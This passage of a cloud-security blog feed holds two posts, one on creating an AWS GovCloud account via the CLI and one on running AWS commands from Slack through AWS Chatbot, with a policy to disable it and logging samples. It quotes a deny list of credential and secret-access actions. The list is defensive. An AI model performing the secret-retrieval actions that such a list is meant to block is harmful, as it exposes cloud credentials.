src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b38bebd3ab98" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to create (Sign Up for) an AWS Gov Account with just one CLI command?]]></title>
            <link>https://cloudsecuritypro.medium.com/how-to-create-an-aws-gov-aws-account-with-just-three-quick-steps-1527f7c67482?source=rss-23895307bebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/1527f7c67482</guid>
            <dc:creator><![CDATA[Cloud Security Pro]]></dc:creator>
            <pubDate>Thu, 09 Jan 2025 21:02:47 GMT</pubDate>
            <atom:updated>2025-01-09T21:46:08.827Z</atom:updated>
            <content:encoded><![CDATA[<p>There are two ways to SignUp for a Gov AWS Account per <a href="https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/getting-started-sign-up.html">THE</a> AWS doc. We will use the Option II. This requires you to have an AWS Organizations in <em>both</em> the Commercial and Gov partitions.</p><p>Here are the steps:</p><ol><li>First, from an AWS <em>Commercial</em> Organization Management Account run the commands sample below:</li></ol><pre># aws organizations  create-gov-cloud-account --email john@example.com --account-name JohnAWSAccount1 --role-name GovCustomOrgRole<br>{<br>    &quot;CreateAccountStatus&quot;: {<br>        &quot;Id&quot;: &quot;car-7d8e131e9e0casxxxxxx&quot;,<br>        &quot;AccountName&quot;: &quot;JohnAWSAccount1&quot;,<br>        &quot;State&quot;: &quot;IN_PROGRESS&quot;,<br>        &quot;RequestedTimestamp&quot;: &quot;2025-01-09T15:18:29.626000-05:00&quot;<br>    }<br>}<br><br></pre><p>2. Note the “ — <em>role-name” </em>part in Step1. If you didn’t specify this, AWS will create a role called “OrganizationAccountAccessRole” in the Gov AWS Org Management account. Also, please note down the “<em>Id</em>” from the output above. You’ll need it to retrieve the NEW AWS accounts details by using:</p><pre># aws organizations describe-create-account-status --create-account-request-id car-7d8e131e9e0casxxxxxx<br>{<br>    &quot;CreateAccountStatus&quot;: {<br>        &quot;Id&quot;: &quot;car-7d8e131e9e0casxxxxxx&quot;,<br>        &quot;AccountName&quot;: &quot;JohnAWSAccount1&quot;,<br>        &quot;State&quot;: &quot;SUCCEEDED&quot;,<br>        &quot;RequestedTimestamp&quot;: &quot;2025-01-09T15:18:29.688000-05:00&quot;,<br>        &quot;CompletedTimestamp&quot;: &quot;2025-01-09T15:19:33.196000-05:00&quot;,<br>        &quot;AccountId&quot;: &quot;600627331122&quot;,<br>        &quot;GovCloudAccountId&quot;: &quot;323382441122&quot;<br>    }</pre><p>As you can see, the API created one public AWS Account and one Gov AWS Account. Now, the public AWS account will automatically be registered under your commercial AWS Organizations. How about the Gov AWS account? How do you login to it? We will cover that next.</p><p>3. Next, grab the “<em>GovCloudAccountId</em>” and the “<em> — role-name GovCustomOrgRole</em>” from Step1. The role will be created IN the GOV AWS Organizations Management account.</p><p>4. Now, login to the <em>existing</em> GOV AWS Organization Management Account. Once you are in, “switch role” to the NEWLY created Gov AWS Account using the role you created in Step 1. For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_baPPoC0L0oZALok2B_EA.png" /></figure><p>5. In the Account, enter the GovCloudAccountId ie <em>323382441122</em> from Step2. And in the role enter the — role-name ie GovCustomOrgRole from Step1. If you didn’t specify the role name, it will by default be “<em>OrganizationAccountAccessRole</em>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9SOsPgY6_YMXNOic2NCuA.png" /></figure><p>And that’s it. Also, if you have a Gov AWS Organization, you can “invite” the NEWLY created Gov account to it and accept when you log in to it using step above. That way you can manage it with an AWS Identity Center (aka AWS SSO) and don’t have to switch role each time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1527f7c67482" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can you run an AWS command from Slack, without any AWS credentials?]]></title>
            <link>https://cloudsecuritypro.medium.com/can-you-run-an-aws-command-from-slack-without-any-aws-credentials-2dde073426d0?source=rss-23895307bebb------2</link>
            <guid isPermaLink="false">https://medium.com/p/2dde073426d0</guid>
            <dc:creator><![CDATA[Cloud Security Pro]]></dc:creator>
            <pubDate>Wed, 02 Oct 2024 02:10:21 GMT</pubDate>
            <atom:updated>2024-10-03T14:52:24.889Z</atom:updated>
            <content:encoded><![CDATA[<h4>Let’s find out!</h4><p>First of all, let’s know what the “AWS Chatbot” service is. It is an AWS service that was designed to use messaging apps (only supports Amazon Chime, Microsoft Teams, and Slack currently) to monitor and respond to events in AWS Cloud. If configured correctly (or, misconfigured !!) you can run an AWS command from Slack. Let’s try it.</p><p>First thing first, go to “AWS Chatbot” in your AWS console. We will assume you have access to configure AWS Chatbot as well as Slack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILulMfWWOHqlNj4LgW7tIw.png" /></figure><p>Next, click “Configure new client” and choose “Slack” from the dropdown menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FV4P7-PotDe2Fv_fiYE67g.png" /></figure><p>This will redirect you to connect AWS to Slack. Click on “Allow”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FAQMWJkOqkXFrO4IyG7bbQ.png" /></figure><p>Next, when this is complete, select “Configure new channel”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHWPQGRSbSFnaS-k0-WOCA.png" /></figure><p>Fill up the fields. The important piece is the “Channel guardrail policies”. This is the control over what actions the slack channel members can take. By default it is “ReadOnlyAccess”. (Please note for a step later, the channel name we selected is “#general”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Qyx4Xr-ba6bxFnsfZNJvkA.png" /></figure><p>The notification is optional but go ahead set of some SNS topic if you want to send a “Test” message. Next, on the configuration, note two policies:</p><ol><li><strong>Channel role</strong>: Straight outta AWS Doc:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4niBr_pfv24JeFaMMOx5mQ.png" /></figure><pre>(This is the sample trust relationship)<br><br>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: {<br>                &quot;Service&quot;: &quot;chatbot.amazonaws.com&quot;<br>            },<br>            &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>        }<br>    ]<br>}</pre><p><strong>2. Channel Guardrail policies: </strong>Straight outta AWS doc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UU9wtcNDj-Nah2dtFN2Lnw.png" /></figure><pre>NOTE: Non-supported operations: AWS Chatbot doesn&#39;t support running commands <br>for operations in the following JSON policy:<br><br>{<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Action&quot;: [<br>        &quot;appsync:ListApiKeys&quot;,<br>        &quot;chatbot:*&quot;,<br>        &quot;codecommit:GetFile&quot;,<br>        &quot;codecommit:GetCommit&quot;,<br>        &quot;codecommit:GetDifferences&quot;,<br>        &quot;cognito-idp:*&quot;,<br>        &quot;cognito-identity:*&quot;,<br>        &quot;connect:GetFederationToken&quot;,<br>        &quot;dynamodb:BatchGetItem&quot;,<br>        &quot;dynamodb:GetItem&quot;,<br>        &quot;ec2:GetPasswordData&quot;,<br>        &quot;ecr:GetAuthorizationToken&quot;,<br>        &quot;ecr:GetLogin&quot;,<br>        &quot;gamelift:RequestUploadCredentials&quot;,<br>        &quot;gamelift:GetInstanceAccess&quot;,<br>        &quot;identitystore:*&quot;,<br>        &quot;lightsail:DownloadDefaultKeyPair&quot;,<br>        &quot;lightsail:GetInstanceAccessDetail&quot;,<br>        &quot;lightsail:GetKeyPair&quot;,<br>        &quot;lightsail:GetKeyPairs&quot;,<br>        &quot;lightsail:UpdateRelationalDatabase&quot;,<br>        &quot;iam:*&quot;,<br>        &quot;kms:*&quot;,<br>        &quot;redshift:GetClusterCredentials&quot;,<br>        &quot;sdb:*&quot;,<br>        &quot;secretsmanager:*&quot;,<br>        &quot;sso:*&quot;,<br>        &quot;sso-admin:*&quot;,<br>        &quot;sso-oidc:*&quot;,<br>        &quot;storagegateway:DescribeChapCredentials&quot;,<br>        &quot;sts:*&quot;,<br>        &quot;s3:GetObject&quot;,<br>        &quot;s3:HeadObject&quot;,<br>        &quot;s3:PutObject&quot;,<br>        &quot;s3:GetBucketPolicy&quot;,<br>        &quot;snowball:GetJobUnlockCode&quot;<br>      ],<br>      &quot;Effect&quot;: &quot;Deny&quot;,<br>      &quot;Resource&quot;: &quot;*&quot;<br>    }<br>  ],<br>  &quot;Version&quot;: &quot;2012-10-17&quot;<br>}</pre><p>So, let’s go ahead and add user role:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FvEfEEVgUXw8VnqgnyT3kA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNmWfXYKtgsjyYrTsXQCww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zhQ21GdlABNJQLwXrOU9JA.png" /></figure><p>Now, on the slack channel (“#general” channel in this example) you should see a message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcE8IjX-uE47_jmgRBk51w.png" /></figure><p>Now, from the Slack side. On the slack channel, add an App:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dWbXOTpYp_7hAtXwsmxStw.png" /></figure><p>Browse apps and search “AWS Chatbot” and add it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQOFQPFyn2_IkyDcvzDOYA.png" /></figure><p>And, now the moment of truth, let’s run a command below: (Note: You may need to add the @aws app to the slack channel)</p><pre>@aws aws s3 ls --region us-east-1</pre><p>And boom! It will even guide you various options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HVrZtyvts-ZIw9p9fZO3DA.png" /></figure><p>Now, you may be thinking, how can I block AWS Chatbot in your Organization? Luckily, AWS Organizations now supports something called “Chatbot policy”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XvP03m2HTUzLIAJ5GJP0kw.png" /></figure><p>Click “Enable Policy” → &amp; then “Create Policy” and create one using sample below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKXSzOU8JQzp2hCSgNRW9Q.png" /></figure><pre><br>{<br>  &quot;chatbot&quot;: {<br>    &quot;platforms&quot;: {<br>      &quot;chime&quot;: {<br>        &quot;client&quot;: {<br>          &quot;@@assign&quot;: &quot;disabled&quot;<br>        }<br>      },<br>      &quot;slack&quot;: {<br>        &quot;client&quot;: {<br>          &quot;@@assign&quot;: &quot;disabled&quot;<br>        }<br>      },<br>      &quot;microsoft_teams&quot;: {<br>        &quot;client&quot;: {<br>          &quot;@@assign&quot;: &quot;disabled&quot;<br>        }<br>      }<br>    },<br>    &quot;default&quot;: {<br>      &quot;client&quot;: {<br>        &quot;@@assign&quot;: &quot;disabled&quot;<br>      }<br>    }<br>  }<br>}</pre><p>On the Target, add your desired AWS Account or OU. I prefer adding it to “Root”. This policy is generally safe and doesn’t have impacts on any other services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4elbHOc0L8zDxvoMzIUCLA.png" /></figure><p>Well, does this actually work? Let’s give it a shot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pV7wlM6yyCLQqmZJHvXxog.png" /></figure><p>And, it does work! That’s it.</p><p><strong>Logging &amp; Detections</strong>:</p><ol><li>Cloudwatch logs: It’s advised that you enable Cloudwatch logs when you configure the slack channel and select “All events”. Sample log:</li></ol><pre>Sending message to Slack (Workspace: &lt;XXX&gt;, Channel: general) with title: <br>User &lt;XXX&gt; approved command &#39;lambda list-functions&#39; with the role &#39;&lt;hidden&gt;&#39; in slack://xxx/xxx at 2024-10-02T13:19:22.868Z.<br><br>For Chatbot SCP blocks:<br>2024-10-02T02:08:33.000Z<br>Encountered error while sending message to channel: This action is not permitted by your AWS Organizations Chatbot Policy!</pre><p>2. Cloudtrail: Please note that Chatbot is a global service so any service level APIs will be recorded as “eventSource”: “chatbot.amazonaws.com” in Cloudtrail. I did observe that the Cloudtrails were recorded in us-east-2 (Ohio). For “assumed” roles, the APIs will be recorded in respective service API made. For example, I perfoemed list-lambda functions API &amp; the sample Cloudtrail is below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKdWt9r2Z8CHZtc49Pdcnw.png" /></figure><pre>{<br>    &quot;eventVersion&quot;: &quot;1.08&quot;,<br>    &quot;userIdentity&quot;: {<br>        &quot;type&quot;: &quot;AssumedRole&quot;,<br>        &quot;principalId&quot;: &quot;xxx:chatbot-session-slack-xxx&quot;,<br>        &quot;arn&quot;: &quot;arn:aws:sts::xx:assumed-role/xxx/chatbot-session-slack-xxx&quot;,<br>        &quot;accountId&quot;: &quot;xxx&quot;,<br>        &quot;accessKeyId&quot;: &quot;xxx&quot;,<br>        &quot;sessionContext&quot;: {<br>            &quot;sessionIssuer&quot;: {<br>                &quot;type&quot;: &quot;Role&quot;,<br>                &quot;principalId&quot;: &quot;xxx&quot;,<br>                &quot;arn&quot;: &quot;arn:aws:iam::xxx:role/xxx&quot;,<br>                &quot;accountId&quot;: &quot;xxx&quot;,<br>                &quot;userName&quot;: &quot;xxx&quot;<br>            },<br>            &quot;webIdFederationData&quot;: {},<br>            &quot;attributes&quot;: {<br>                &quot;creationDate&quot;: &quot;2024-10-02T13:19:23Z&quot;,<br>                &quot;mfaAuthenticated&quot;: &quot;false&quot;<br>            }<br>        },<br>        &quot;invokedBy&quot;: &quot;chatbot.amazonaws.com&quot;<br>    },<br>    &quot;eventTime&quot;: &quot;2024-10-02T13:19:23Z&quot;,<br>    &quot;eventSource&quot;: &quot;lambda.amazonaws.com&quot;,<br>    &quot;eventName&quot;: &quot;ListFunctions20150331&quot;,<br>    &quot;awsRegion&quot;: &quot;us-east-1&quot;,<br>    &quot;sourceIPAddress&quot;: &quot;chatbot.amazonaws.com&quot;,<br>    &quot;userAgent&quot;: &quot;chatbot.amazonaws.com&quot;,<br>    &quot;requestParameters&quot;: {<br>        &quot;maxItems&quot;: 5<br>    },<br>    &quot;responseElements&quot;: null,<br>    &quot;requestID&quot;: &quot;cd7ebc18-efe9-xxx&quot;,<br>    &quot;eventID&quot;: &quot;b6dd305b-8ee4-xxx&quot;,<br>    &quot;readOnly&quot;: true,<br>    &quot;eventType&quot;: &quot;AwsApiCall&quot;,<br>    &quot;managementEvent&quot;: true,<br>    &quot;recipientAccountId&quot;: &quot;xxxx&quot;,<br>    &quot;eventCategory&quot;: &quot;Management&quot;<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2dde073426d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>